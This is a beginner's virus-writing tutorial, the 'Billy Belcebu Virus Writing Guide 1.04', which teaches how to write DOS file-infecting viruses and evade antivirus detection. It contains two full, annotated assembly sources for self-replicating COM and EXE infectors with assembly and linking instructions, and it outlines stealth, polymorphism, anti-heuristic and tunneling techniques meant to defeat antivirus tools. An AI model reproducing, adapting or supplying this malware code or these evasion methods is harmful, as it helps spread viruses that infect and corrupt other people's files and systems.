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Billy Belcebu Virus Writing Guide 1.04

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Billy Belcebu Virus Writing Guide 1.04
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Disclaimer

The author of this document isn't responsible of any kind of damage that could be made with the bad use of this information. The objective of this tutorial is to teach people how to create and defend against the attack of a lame YAM virus :) This tute is for educational purposes only. So, lawyers, i don't give a shit if a lamer takes this information and makes destructive viruses. And if through this document you see anywhere that i encourage to destroy or corromp data, go directly to buy glasses.

Presentations

Welcome the Billy Belcebu's Virus Writing Guide. This document is dedicated to my master, zAxOn, my mentor from the days when i asked him what was ARJ passing through the day when he lend me the TP5, and taught me all he knew, till my first steps in Assembly. It's also dedicated to the ppl who want to leave to be lamer, and want to join the " good scene ". I don't forget the author of a lot of great documents, Dark Angel ( member of the extinct pioneer cool group called Phalcon/Skism ), cause his tutorials taught me in my early stages. Of course, to The Offspring, Marilyn Manson, Blind Guardian, Stratovarius and Metallica ( I hear another groups, but these are the best ones ) cause with their music i'm writing this lines. Hope you like this beginner's guide, probably my last tribute for DOS viruses.

NOTE: English ain't my first language ( it's spanish ), so excuse me for all my misspells i made ( a lot of ), and notify me them for later updates of this document.

Contact me

Have phun!

Billy Belcebu,
mass killer and ass kicker.

Useful software for virus coding

You need some things before start writing virii. Here you have the programs i recommend you ( If you haven't enough money for buy them... DOWNLOAD! ) :)

  • Borland Turbo Assembler 3.1 will be enough for dos viruses
  • Borland Turbo Link 5.1
  • SoftIce debugger, Borland Turbo Debug 3.1, AVP debugger, or dos debug even
  • The text editor you like more ( QuickEdit should be a good choice )
  • Some virus sources ( from old viruses like stoned to the coolest, like Zhengxi, Onehalf, Cabanas, Esperanto... )
  • Some virus related e-zines ( 40hex, Insane Reality, Xine, 29A... )
  • Utilities that can show you memory dumps and else, like Norton Utilities
  • The Ralf Brown's Interrupt list
  • Some assembler books ( for doubts and this kinda things ) :)
  • Some AVs ( in order to see if our virii is detected heuristically )
  • Of course, this document ;)

I hope i don't forget any important thing.

Some useful theory

A virus is a program usually coded in assembler ( but can also be coded in other languages, like PASCAL and C ) that spreads copies of itself to other executables and/or another things like boot sectors or MBRs. The assembler ain't as " diabolic " as some people say, believe me :)

Well, i hope you have noted that i don't mention anywhere the macro viruses: if you wanna learn something, i think that the best thing you could do is to write viruses in assembler.

A virus attaches itself at end of the victim ( the 80% of viruses ), take advantage of the MS-DOS feature of executing first a COM than a EXE file ( companion viruses ), don't increase the size ( guest infectors and overwriting virii ), EXE header viruses, midfile infectors, install in boot, in MBR And with the compression engines... a virus can decrease the size of the victim after infection!!! ;) Hope to see soon a virus like this (Supeeeer ;) Let's see how a virus of the first kind works with some nice graphics ;)

 ⁄--------------ø ⁄-------------ø          ⁄---------¬----øø 
| | | | ⁄-|JMP VIRUS| | |
| | | VIRUS | | √---------Ÿ | |
| FILE |+| | -------> | FILE | |
| | ¿-------------Ÿ | | | |
| | | | | |
¿--------------Ÿ ¿-√--------------¥ |
| | |
| VIRUS | |
| | |
¿--------------Ÿ-Ÿ

Viruses usually follow the same steps:

  1. Locate the file to infect ( Waiting till opening or something, or seeking throught directories )
  2. Check if it's already infected
  3. If yes, skip it.
  4. Save file date/time
  5. Put a jump to our code saving the first bytes
  6. Append the virus body
  7. Restore file date/time

It's very simple as you can see, but they use different ways for arrive to the below point. I'll explain it later.

Another type of infection can be also made, but it's more slow, because we have to take all guest code, save it in a temporal place, write the virus code, and after our code, the guest original code. Let's see:

 ⁄--------------ø ⁄-------------ø          ⁄--------------ø 
| | | | | |
| | | VIRUS | | VIRUS |
| FILE |+| | -------> | |
| | ¿-------------Ÿ √--------------¥|
| | | |
¿--------------Ÿ | |
| FILE |
| |
| |
¿--------------Ÿ

The worst viruses in the world are the overwriting ones. They're so destructive, and the infection is easily detected, cause they don't execute the guest ( they can't be operative coz the infection method ), they only executes their own body. Let's see a graphic.

 ⁄--------------ø ⁄-------------ø          ⁄--------------ø 
| | | | | |
| | | VIRUS | | VIRUS |
| FILE |+| | ------- >| |
| | ¿-------------Ÿ √--------------¥
| | | | ----- The file
¿--------------Ÿ ¿--------------Ÿ never more run :(

A really good idea is the mid-file infection, probably one of the best methods for infect: viruses more hard to remove, emulate... They simply write itself to a random offset on the host, and we give'em the control there.

 ⁄--------------ø ⁄-------------ø          ⁄----------¬---øø 
| | | | ⁄-|JMP VIRUS | | |
| | | VIRUS | | √----------Ÿ | |
| FILE |+| | -------->| FILE (I) | |
| | ¿-------------Ÿ ¿-√--------------¥ |
| | | | |
¿--------------Ÿ | VIRUS | |
| | |
√--------------¥-Ÿ
| FILE (II) |
√--------------¥
| SAVED DATA |
| OVERWRITTEN |
| BY THE VIRUS |
¿--------------Ÿ

In fact, there is a method that comes from this one, that mainly is to find "holes" in the executable file, such as big data zones. Let's see a little diagram for this ones.

 ⁄--------------ø ⁄-------------ø          ⁄----------¬---øø 
| | | | ⁄-|JMP VIRUS | | |
| | | VIRUS | | √----------Ÿ | |
| FILE |+| | -------->| FILE (I) | |
| | ¿-------------Ÿ ¿-√--------------¥ | ø
| | | | | | Was a
¿--------------Ÿ | VIRUS | | √ data area
| | | | w/constant
√--------------¥-Ÿ Ÿ value.
| FILE (II) |
| |
¿--------------Ÿ

Of course, there're more and more infection methods, but this is a guide for beginners... never forget it :) And that are demonstration diagrams...

A virus have some different phases:

  • INFECTION: A virus arrive to an unsuspecting guy, inside a file ( via disquettes, e-mail... ) or boot sectors ( disquettes... ). The user executes the virus without know it, and then is when the creature takes the control of the system ( instead the user ) ;)
  • I-HAVE-THE-CONTROL: This is the funniest phase of viruses, cause the user, lives very happy, lending programs to his/her friends, infecting them, and all this stuff. And the virus quickly infects more and more people.
  • PAYLOAD: After a decisive situation, the virus show its presence. The payload can be destructive <g> or not ;) In my humble opinion, the destructive payloads are only made by the lamers, this scum who enjoy destroying other computers, and with the well know attitude of a dickhead. The better payloads are the original ones, coz they make the user to feel astonished. Of course, there're virus without a payload, that don't do anything besides replicate (Hi Patty Bitchman!).

In this tutorial i will talk about some other interesting stuff like:

  • ARMOURING: I really LOVE this stuff. It's usually used for avoid the debugging/dissasembling of our virus for any undesirable guy. Well, a good VXer can dissasemble whatever he/she ( ? ) wants to. You have an example in Tcp/29A and Darkman/29A...
  • STEALTH: The concealment method for excelence. There're a lot of methods for make stealth ( FCB, Handles, SFT, Disinfection-on-the-fly... ) I'll explain some of these things. This consists in make the user think there isn't any kind of infection, returning him the same file size that was before the infection, disinfecting the file before it's opened...
  • ENCRYPTION: This method consist in the cypher of the main virus body, so the strings we can have as copyright can't be seen by a suspecting guy ;) It's really an old technique, but nowadays is still used ( but with some things that change, see the next point ). Uses mathematic operations for perform the work ( XOR, ADD-SUB, INC-DEC, NOT, NEG, ROR-ROL... )
  • POLYMORPHISM: An extension of the encryption in order to avoid AVs. The objective is generate different decryption routines each time for make impossible the scan of the virus, or minimize the possible scan strings :)
  • ANTI-HEURISTIC: Heuristic scanners aren't as trustables like some people say. I'll demonstrate that the heuristic aren't as safe as they seem. This stuff are some tricks you can use for avoid flags.
  • TUNNELING: This stuff is used for obtain the " real " INT 21h vectors, bypassing the TSR watchdogs, and all that's in our way.
  • ANTI-TUNNELING: The weapon that AV used for avoid tunnelers becomes in one of the TSR watchdog's enemy. It's also cool for stop the steps of other viruses that are trying to get _OUR_ INT21h :)
  • ANTI-BAIT: Baits ( aka sacrifical goats ) are what AV uses for make multiple infections in a lot of files, trying to get a scan string for our virus ( and with it, our mutation engine )... and, we want this? NO! I'll explain the most used methods for don't infect this non-sense programs.
  • OPTIMIZATION: The better viruses are the ones that do a lot of thing using very few bytes. In this little chapter you'll see how to do some things using less bytes.

First steps, RUNTIME viruses

There're some methods for a success infection. Now I'll explain the most old ones, the RUNTIME ( aka direct action ). Nowadays, no one makes a runtime infector, because they're slooooooow, and their presence is quickly detected by a middle-interested user. But... don't be afraid! This method is very simple, and all the people now in the scene, made their first steps with a runtime com infector. This method is only for your first contact with the virus developing. A runtime virus consist in a program that searches for files using a wildcard ( "*.com","*.exe","*.*"... ) and using the DOS-API ( of course, the INT 21h ) functions Findfirst and Findnext ( 4Eh and 4Fh ). It can also enter in another directories than the actual one for perform its infection. Usually this kinda viruses infects COM and EXE, but we can also infect SYS, OBJ, ZIP... but for this i'd need another tutorial, and... do you remember this is for beginners? ;)

COM infection

The easiest, as you can imagine is the COM infection. It's the first thing you must understand, coz the infection ( not the way used to arrive there ) is more or less, the same stuff in all kinda viruses ( TSR and so on ):

  1. Open file
  2. Save time/date/attributes
  3. Store first ( usually 3 ) bytes
  4. Calculate the new jump
  5. Put it
  6. Append main virus body
  7. Restore time/date/attributes
  8. Close file

You must remember that a COM file look is the same in the physical code than in the memory ( COM = Copy Of Memory ). DOS gives all the available memory to the COM file. Let's see how is a COM program when it's loaded in memory:

 ⁄-----------------------------------ø ---¬-- CS = 0000h 
| Program Segment Prefix ( PSP ) | √-- DS = 0000h
| 100h bytes ( 256d ) | √-- ES = 0000h
√-----------------------------------¥ -ø ¿-- SS = 0000h
| Program Code and Data | ¿- CS:IP = 0100h
| |
| |
| | ⁄-- CS = FFFFh (*) The stack grows
| | √-- DS = FFFFh backwards, from
| Stack | ⁄¡-- ES = FFFFh bottom to top.
¿-----------------------------------Ÿ --¡ SS:SP = FFFFh

The COM files can only have the size of a segment ( FFFFh bytes ) less 100h bytes that are used for PSP ( FFFFh - 100h = FEFFh ). But there's a problem. We must save more space for let the stack grow what we need ( every time we make a PUSH and we forget the POP, the stack grows, and if it grows too much it'll finish trashing our program ). I'll leave at least 100h more bytes for stack. Ok ? :)

It's very easy to understand... and it's LOGIC!!! ;)
Talking about logic things... I think it is a good time for practice the COM infection. It's a LAME virus. LAME? Only? More than this : the LAMEST! ;) But this is a beginners document, and i must make it! Although it fuck me! Well, i don't kill my mind programming some stuff like that, although i'd spend only 5 minutes in coding my own :) ( spend time? just WASTE time! :)

;---[ CUT HERE ]------------------------------------------------------------- 
; A very lame virus. Don't compile. Don't distribute.
; If you make a copy of this... you'll be LAME!
; But i hope it'll help you in order to become a VXer from the first steps
; to the GIANT ones ;) And then you'll have to send me greets :)
; I hate to code my own runtime virus ( 5 minutes for write a shit, please
; believe me, is very boring and a WASTE of time ) so I used Dark Angel's G˝
; Sorry, i'm a goddamn lazy :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj

; Virus generated by G˝ 0.70· ( Look, I didn't removed signatures. This ain't
; mine! The lamest thing you can do is remove signatures. Don't forget it! )
; G˝ written by Dark Angel of Phalcon/Skism

; File: LAME.ASM

.model tiny
.code

org 0100h

carrier:
db 0E9h,0,0 ; jmp start

start:
mov bp, sp ; Antidebugging get Î offset!
int 0003h ; Int for breakpoints
next:
mov bp, ss:[bp-6]
sub bp, offset next

;----------------------------------------------------------------------------
; Explanation:
; Let's see. When we infect a file ALL offsets get moved exactly da size of
; guest, so we choice a register ( usually BP or SI ) and we put in it the
; size of the file with this simple thing, and each time we use a variable or
; something, we MUST add the register used as Î-offset ( here BP )
;----------------------------------------------------------------------------

mov dl, 0000h ; Default drive
mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
int 0021h

lea dx, [bp+offset newDTA]
mov ah, 001Ah ; Set DTA
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; The first block stores the current directory in a variable for l8r return.
; Take a look to the zone of this document where are the DTA structure. The
; DTA ( Disk Transfer Address ) begins in the byte 80h of the PSP ( Program
; Segment Prefix ) where also resides the command line. And you wonder why...
; What happens when we use the DTA with the command line? That's the reason
; of storing the DTA ( Besides for our own use, of course ) ;)
;----------------------------------------------------------------------------

restore_COM:
mov di, 0100h
push di
lea si, [bp+offset old3]
movsb ; Move first byte
movsw ; Move next two

mov byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Explanation:
; This routine restores the 3 original first bytes of the infected com, loca-
; ted above offset 100h, and also saves this offset in DI for later use.
; The last line setups the actual number of infections to 0 ( the couter ).
;----------------------------------------------------------------------------

traverse_loop:
lea dx, [bp+offset COMmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected

mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error

exit_traverse:

lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; All we do here is infect all files in the directory, and we end with this,
; we change directory to ..
; And when there aren't more directories we restore the old when we were.
;----------------------------------------------------------------------------

mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h

return:
ret

;----------------------------------------------------------------------------
; Explanation:
; This will restore the taken DTA to its original address, in the offset 80h
; at the Program Segment Prefix ( PSP ), and then return to original offset
; 100h, for execute the file normally ;) ( Remember we pushed di when it was
; equal to 100h )
;----------------------------------------------------------------------------

old3 db 0cdh,20h,0

infect:
mov ah, 004Eh ; find first
mov cx, 0007h ; all files
findfirstnext:
int 0021h
jc return

;----------------------------------------------------------------------------
; Explanation:
; In this code all we do is search in the current directory for the files
; matching with the wildcard in DX ( in this example "*.COM" ), with any kind
; of attributes.
; Old3 is the var that handles the first 3 bytes of the actual infected COM.
; If there isn't matching files, a carry flag is returned and then we jump to
; a routine that returns the control to the main program. If we found at
; lest one of them, we jump to the following code, and when finish this, we
; look for another file
;----------------------------------------------------------------------------

cmp word ptr [bp+newDTA+35], 'DN' ; Check if COMMAND.COM
mov ah, 004Fh ; Set up find next
jz findfirstnext ; Exit if so

;----------------------------------------------------------------------------
; Explanation:
; This is for not infect the command.com, checking if file has in pos name+5
; ( DTA+35 ) the word DN ( ND, but the words are stored reverse! )
;----------------------------------------------------------------------------

lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx

mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; The first block has a double function: stores the file attributes of the
; file for later restore, and also check if file exists or there's a problem.
; The second one save in stack 4301h ( function for put attributes ) and also
; clear file of undesirable attributes like read-only :)
;----------------------------------------------------------------------------

lea dx, [bp+newDTA+30]
mov ax, 3D02h ; Open R/O
int 0021h
xchg ax, bx ; Handle in BX

mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx

;----------------------------------------------------------------------------
; Explanation:
; The first block opens the file in read/write mode, and the put the file
; handle in BX, where it'll be more useful.
; The second block of instructions get the file date and time and then save
; them in the stack.
;----------------------------------------------------------------------------

mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h

xor cx, cx
xor dx, dx
mov ax, 4202h
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; The first block reads 1Ah bytes ( 26 ) into the variable readbuffer, for
; later comparations. The second block moves the file pointer to the end of
; the file for two reasons: file size will be put in AX, and we need to be
; there for append
;----------------------------------------------------------------------------

cmp word ptr [bp+offset readbuffer], "ZM"
jz jmp_close

mov cx, word ptr [bp+offset readbuffer+1] ; jmp location
add cx, heap-start+3 ; convert to filesize
cmp ax, cx ; equal if already infected
jl skipp
jmp_close:
jmp close

;----------------------------------------------------------------------------
; Explanation:
; The first block compares the two first bytes of the opened COM file in
; order to see if it's a misnamed EXE ( remember the words must be in reverse
; order ). The second block check for previous infection, comparing the virus
; size + the guest ( before be infected ) size with the guest actual size.
;----------------------------------------------------------------------------

skipp:

cmp ax, 65535-(endheap-start) ; check if too large
ja jmp_close ; Exit if so

lea di, [bp+offset old3]
lea si, [bp+offset readbuffer]
movsb
movsw

;----------------------------------------------------------------------------
; Explanation:
; The first block of instructions check the size of the COM, to see if we can
; infect it ( the COM size + virus size can't be > 0FFFFh ( 65535 ), cause it
; is, the PSP and/or stack will corromp the code.
; The second block moves the values of old3 ( 3 bytes ) var to readbuffer.
;----------------------------------------------------------------------------

sub ax, 0003h ; Virus_size-3 ( jump size )
mov word ptr [bp+offset readbuffer+1], ax
mov dl, 00E9h ; Opcode of jmp
mov byte ptr [bp+offset readbuffer], dl

lea dx, [bp+offset start] ; The beginning of what append
mov cx, heap-start ; Size to append
mov ah, 0040h ; concatenate virus
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; The first block calculates the jump to the virus code and then stores the
; result in a variable. The second block append the virus to the guest :)
;----------------------------------------------------------------------------

mov ax, 4200h
xor dx, dx
xor cx, cx
int 0021h


mov cx, 0003h
lea dx, [bp+offset readbuffer]
mov ah, 0040h
int 0021h

inc [bp+numinfect]

;----------------------------------------------------------------------------
; Explanation:
; The first block moves the file pointer to the beginning of da file, and the
; second one writes the jump to the virus code there.
; The third increases the variable that holds the number of succesful infec-
; tions already made
;----------------------------------------------------------------------------

close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h

mov ah, 003Eh
int 0021h

pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h

mov ah, 004Fh ; find next
jmp findfirstnext

;----------------------------------------------------------------------------
; Explanation:
; The first block of instruction restore the time and date of file stored in
; the DTA. And the second closes the file and the third one restore old attrs
; of the infected file.
; The last one put in AX the function FindNext of DOS, and jumps to search
; for more files to infect.
;----------------------------------------------------------------------------


signature db "[PS/G˝]",0 ; Phalcon/Skism G˝ ( old!! )
COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 )
dot_dot db "..",0 ; Directory to change

heap: ; this data goes in heap
newDTA db 43 dup (?) ; DTA size, 2Bh
origdir db 65 dup (?) ; Where to store old directory
numinfect db ? ; Handles the number of infections
readbuffer db 1ah dup (?) ; Buffer
endheap:
end carrier
;---[ CUT HERE ]-------------------------------------------------------------

It's very simple all this, as you can see. And this code is FULLY commented. If you still don't understand this, don't change chapter, re-read all the COM infection!!!. But... a virus that only infect COMs... and runtime maybe would be cool 6 or 7 years ago, but nowadays it's horrible! Before spread a runtime virus now, i recommend you to wait some time. Some months could be enough in order to have a better knowledge of assembler language, and if you dedicate some time for improve your skills, you'll make a TSR COM/EXE infector with full stealth and nice tricks in some months more.

ENUNS

Well, the goddamn Win95 has a lot of COM files, interesting huh? They're so far the most used, but there's a problem. If we infect them normally, they hang :( The solution if to save the last seven bytes of the file at the end of the file, adding the virus size to the last two.

Last words

Don't hear the insults of another VXers about your first steps here, and your viruses. Sometimes some of this people ( they're few guys, usually all people in the scene in very kind ) forget their first steps were like yours, believing theirselves god, as some AVers dickeads do. Pathetic.

I'll stop talking about this suckers who forget their roots, and let's talk about the EXE infection.

EXE infection

The first you must know is that the EXE infection is different than COM infection ( i think you're intelligent and you know this ;) ) The EXEs can be bigger in size, and they have a HEADER ( I think the most important part infecting EXEs is manipulate that header ) that contains some useful values for infection like the CS:IP ( stored in reverse order IP:CS ) ,SS:SP ( NOT stored in reverse order!!! ), File size in paragraphs and all other things. Here you have the header structure:

 ⁄-----------------------------------ø --- +0000h 
| EXE file mark ( ZM or MZ ) | Size : 1 WORD
√-----------------------------------¥ --- +0002h
| Bytes in last page of image* | Size : 1 WORD
√-----------------------------------¥ --- +0004h
| Number of pages* | Size : 1 WORD
√-----------------------------------¥ --- +0006h
| Number of relocation items | Size : 1 WORD
√-----------------------------------¥ --- +0008h
| Size of the header in paragraphs | Size : 1 WORD
√-----------------------------------¥ --- +000Ah
| MinAlloc in paragraphs | Size : 1 WORD
√-----------------------------------¥ --- +000Ch
| MaxAlloc in paragraphs | Size : 1 WORD
√-----------------------------------¥ --- +000Eh
| Initial SS* | Size : 1 WORD
√-----------------------------------¥ --- +0010h
| Initial SP* | Size : 1 WORD
√-----------------------------------¥ --- +0012h
| Negative checksum | Size : 1 WORD
√-----------------------------------¥ --- +0014h
| Initial IP* | Size : 1 WORD
√-----------------------------------¥ --- +0016h
| Initial CS* | Size : 1 WORD
√-----------------------------------¥ --- +0018h
| Relocations | Size : 1 WORD
√-----------------------------------¥ --- +001Ah
| Overlays | Size : 1 WORD
√-----------------------------------¥ --- +001Ch
| Reserved / Not used | Size : 1 DWORD?
¿-----------------------------------Ÿ ---------
Total Size : VARIABLE!

(*) The fields marked need to be modified at infection

The EXE files can have more than one segment ( one for code, one for data and another for stack -> CS,DS,SS in order of appearance :)

The EXE's header is generated by the linker. The user don't give a shit :)
When DOS loads the EXE into memory, it looks like this:

 ⁄-----------------------------------ø ---¬-- ES = 0000h 
| Program Segment Prefix ( PSP ) | ¿-- DS = 0000h
| 100h bytes ( 256d ) |
√-----------------------------------¥ --- CS:IP ( pointed by header )
| |
| Program Code Segment ( CS ) |
| |
√-----------------------------------¥
| |
| Program Data Segment ( DS ) |
| |
√-----------------------------------¥ ------ SS = 0000h
| |
| Program Stack Segment ( SS ) |
| |
¿-----------------------------------Ÿ --- SS:SP ( pointed by header )

As you can see, in the EXE files there isn't the problem existing in COMs. For our stack needs ( PUSH and POP ) we have an entire segment! It still grows backwards ( from bottom to top ).

Let's see da algorithm you must follow for yer EXE infector ( step by step )

  1. Open the file ( wow, genius! ) for read only
  2. Read the first 1A bytes ( 26d )
  3. Store them in a variable
  4. Close file
  5. Check the first word for mark ( MZ, ZM )
  6. If it's equal, continue, if not goto 16
  7. Check for previous infection
  8. If ain't infected, continue, if it's already infected goto 17
  9. Save actual CS:IP ( reverse -> IP:CS ) for EXE restoring
  10. For the same purpose, save SS:SP ( this order )
  11. Calculate new CS:IP and SS:SP
  12. Modify the bytes in the last page and the number of pages
  13. Open again ( but in read/write mode )
  14. Write the header
  15. Move file pointer to the end
  16. Append the virus body
  17. Close file

Of course, you change some things to this, like open only one time for r/w mode. Beware of infected EXEs SP. SP ain't even in normal EXEs ( could be, but it'll trigger an heuristic flag! ). So, pay attention.

I don't wanna bore you with more theoretical shit, and remember that the best way to learn to code viruses is to see source codes of another viruses. And it's good to see what i've just explained you :)

;---[ CUT HERE ]------------------------------------------------------------- 
; I'll put code of my own when we arrive to more funny chapters. Until then,
; you must fuck you seeing code generated by G˝ :)
;
; Assemble with: TASM /m3 lame.asm
; Link with: TLINK /t lame.obj

; Virus generated by G˝ 0.70·
; G˝ written by Dark Angel of Phalcon/Skism

id = ';)'

.model tiny
.code
org 0100h

start:
call next
next:
pop bp
sub bp, offset next

;----------------------------------------------------------------------------
; Explanation:
; This is the most common way to find the delta offset ( if you still don't
; know what is the delta offset, kill yourself )
;----------------------------------------------------------------------------

push ds
push es
push cs
pop es ; CS = ES
push cs
pop ds ; CS = ES = DS

;----------------------------------------------------------------------------
; Explanation:
; This AIN'T a COM! Remember it. The EXEs are more powerful ( and a little
; bit more hard to infect ) When we execute an EXE, each segment is pointing
; to a different offset, so we need to adjust them. Remember we can't put
; something like " mov es,ds ", so there's a little trick to do this. Use the
; stack :)
;----------------------------------------------------------------------------

mov ah, 001Ah ; Set DTA
lea dx, [bp+offset newDTA]
int 0021h

mov ah, 0047h ; Get directory
lea si, [bp+offset origdir+1]
cwd ; Default drive
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; Do you remember our old friend, the DTA ? I hope da answer will be yes, coz
; it's not, re-read the full document, goddamit!
; And the second routine is also a well know one. This stuff is already seen.
;----------------------------------------------------------------------------

lea di, [bp+offset origCSIP2]
lea si, [bp+offset origCSIP]
movsw
movsw
movsw
movsw

mov byte ptr [bp+numinfect], 0000h

;----------------------------------------------------------------------------
; Explanation:
; Hey! Some new stuff! Well, the first block is for the later restore of the
; EXE guest file. I hope you know what MOVSW instruction does... Not? Grrr...
; I'm gonna explain you, but for another doubts... BUY AN ASSEMBLER BOOK!!!
; MOVSW moves a word from DS:SI to ES:DI ( MOVSB does the same but with a
; byte ) We make this because we have two double words. Wa can also put some-
; thing like MOV CX,4 and a REP MOVSW, or in a 386+, two MOVSD.
;----------------------------------------------------------------------------

traverse_loop:
lea dx, [bp+offset EXEmask]
call infect
cmp [bp+numinfect], 0003h
jae exit_traverse ; exit if enough infected

mov ah, 003Bh ; CHDIR
lea dx, [bp+offset dot_dot] ; go to previous dir
int 0021h
jnc traverse_loop ; loop if no error

;----------------------------------------------------------------------------
; Explanation:
; It's a pain to explain routines already explained before...
;----------------------------------------------------------------------------

exit_traverse:

lea si, [bp+offset origdir]
mov byte ptr [si], '\'
mov ah, 003Bh ; restore directory
xchg dx, si
int 0021h

pop es ; ES = DS
pop ds

mov dx, 0080h ; in the PSP
mov ah, 001Ah ; restore DTA to default
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; Already explained in COM infection
;----------------------------------------------------------------------------

restore_EXE:
mov ax, ds
add ax, 0010h
add cs:[bp+word ptr origCSIP2+2], ax
add ax, cs:[bp+word ptr origSPSS2]
cli
mov ss, ax
mov sp, cs:[bp+word ptr origSPSS2+2]
sti
db 00EAh ; jmp far opcode
origCSIP2 dd ?
origSPSS2 dd ?
origCSIP dd 0fff00000h
origSPSS dd ?

return:
ret

;----------------------------------------------------------------------------
; Explanation:
; This is the way used to restore the guest EXE. Take a look to the instruct-
; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE
; Take note that we must deactivate interrupts before stack manipulation.
; After this, we jump to the original EXE code, and all will happen like
; there isn't any strange thing :)
;----------------------------------------------------------------------------

infect:
mov cx, 0007h ; all files
mov ah, 004Eh ; find first
findfirstnext:
int 0021h
jc return
lea dx, [bp+newDTA+30]
mov ax, 4300h
int 0021h
jc return
push cx
push dx

mov ax, 4301h ; clear file attributes
push ax ; save for later use
xor cx, cx
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; All this code seems to be equal to the COM infection. This is because it's
; the stuff that find EXE files, wipe the attributes and else
;----------------------------------------------------------------------------

mov ax, 3D02h
lea dx, [bp+newDTA+30]
int 0021h
xchg ax, bx

mov ax, 5700h ; get file time/date
int 0021h
push cx
push dx

mov ah, 003Fh
mov cx, 001Ah
lea dx, [bp+offset readbuffer]
int 0021h

mov ax, 4202h
xor cx, cx
cwd
int 0021h

;----------------------------------------------------------------------------
; Explanation:
; Hey, guy. All this above code was already seen in COM infection. But from
; here till the end, there'll be the cool stuff of EXE infection :)
;----------------------------------------------------------------------------

cmp word ptr [bp+offset readbuffer], 'ZM'
jnz jmp_close

checkEXE:
cmp word ptr [bp+offset readbuffer+10h], id
jnz skipp
jmp_close:
jmp close

;----------------------------------------------------------------------------
; Explanation:
; The first block compares the first bytes of the opened file in order to
; search for the EXE signature ( MZ ). The author of G˝ seems to have forgot-
; ten to add a comparison for ZM, tho. The second one check for previous
; infection. This virus is an old runtime one, and it's a rudimentary way to
; mark infected EXEcutables ( put two bytes as SP in the EXE header )
;----------------------------------------------------------------------------

skipp:

lea si, [bp+readbuffer+14h]
lea di, [bp+origCSIP]
movsw ; Save original CS and IP
movsw

sub si, 000Ah
movsw ; Save original SS and SP
movsw

;----------------------------------------------------------------------------
; Explanation:
; For know that we are doing at this point, you must remember what MOVSW does
; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
; the opened EXE.
;----------------------------------------------------------------------------

push bx ; save file handle
mov bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
mov cl, 0004h
shl bx, cl

push dx ; Save file size on the
push ax ; stack

sub ax, bx ; File size - Header size
sbb dx, 0000h ; DX:AX - BX -> DX:AX

mov cx, 0010h
div cx ; DX:AX/CX = AX Remainder DX

mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
mov word ptr [bp+readbuffer+14h], dx ; IP Offset
mov word ptr [bp+readbuffer+10h], id ; Initial SP
mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

;----------------------------------------------------------------------------
; Explanation:
; This piece of code seems to be very hard to understand. But it isn't. The
; first block read the value on readbuffer+8 ( Header size in paragraphs ).
; And then turn it into bytes. The second block puts the file size in stack.
; The third one substracts to the file size the header size. The fourth
; divides the number in AX by 10, and puts the remainder in DX. After this,
; we put the new SS, IP, SP and CS.
;----------------------------------------------------------------------------

pop ax ; File length in DX:AX
pop dx

add ax, heap-start
adc dx, 0000h

mov cl, 0009h
push ax
shr ax, cl
ror dx, cl
stc
adc dx, ax
pop ax
and ah, 0001h

mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
mov word ptr [bp+readbuffer+4], dx ; the EXE header

;----------------------------------------------------------------------------
; Explanation:
; Yeeeha! Some cool math operations! :) First we make is to restore the file
; size. Then we add to this the virus size. This huge block that make a lot
; of calcualations is used for calculate the infected file size in the header
; that is in 512 bytes form, rounded to up. Imagine if we have a 513 bytes
; file, then we have here a 2 and 1 as remainder. The last one writes the
; calculated information to the header
;----------------------------------------------------------------------------

pop bx ; restore file handle

mov cx, heap-start
lea dx, [bp+offset start]
mov ah, 0040h ; concatenate virus
int 0021h

xor dx, dx
mov ax, 4200h
xor cx, cx
int 0021h


lea dx, [bp+offset readbuffer]
mov cx, 001Ah
mov ah, 0040h
int 0021h

inc [bp+numinfect]

;----------------------------------------------------------------------------
; Explanation:
; We append the virus body, and then we move file pointer to the beginning.
; Now we write the new header, and increment the counter by 1.
;----------------------------------------------------------------------------

close:
mov ax, 5701h ; restore file time/date
pop dx
pop cx
int 0021h

mov ah, 003Eh
int 0021h

pop ax ; restore file attributes
pop dx ; get filename and
pop cx ; attributes from stack
int 0021h

mov ah, 004Fh ; find next
jmp findfirstnext

;----------------------------------------------------------------------------
; Explanation:
; This routines are known by us. No ? See the COM infection, sucker! ;)
;----------------------------------------------------------------------------

signature db "[PS/G˝]",0 ; Phalcon/Skism G˝
EXEmask db "*.EXE",0
dot_dot db "..",0

heap:
newDTA db 43 dup (?)
origdir db 65 dup (?)
numinfect db ?
readbuffer db 1ah dup (?)
endheap:
end start
;---[ CUT HERE ]-------------------------------------------------------------

Too much for you ? Ok, i know but i have to say one thing. When you understand the concept of COM and EXE infection, your knowledge will grow as fast as the light speed :) Doesn't matter that viruses are obsolete runtime ones. The important is the concept. And if you understand this, you can make whatever you want.

We'll stop a little time. It's time to explain you some more useful theory.

Useful Structures

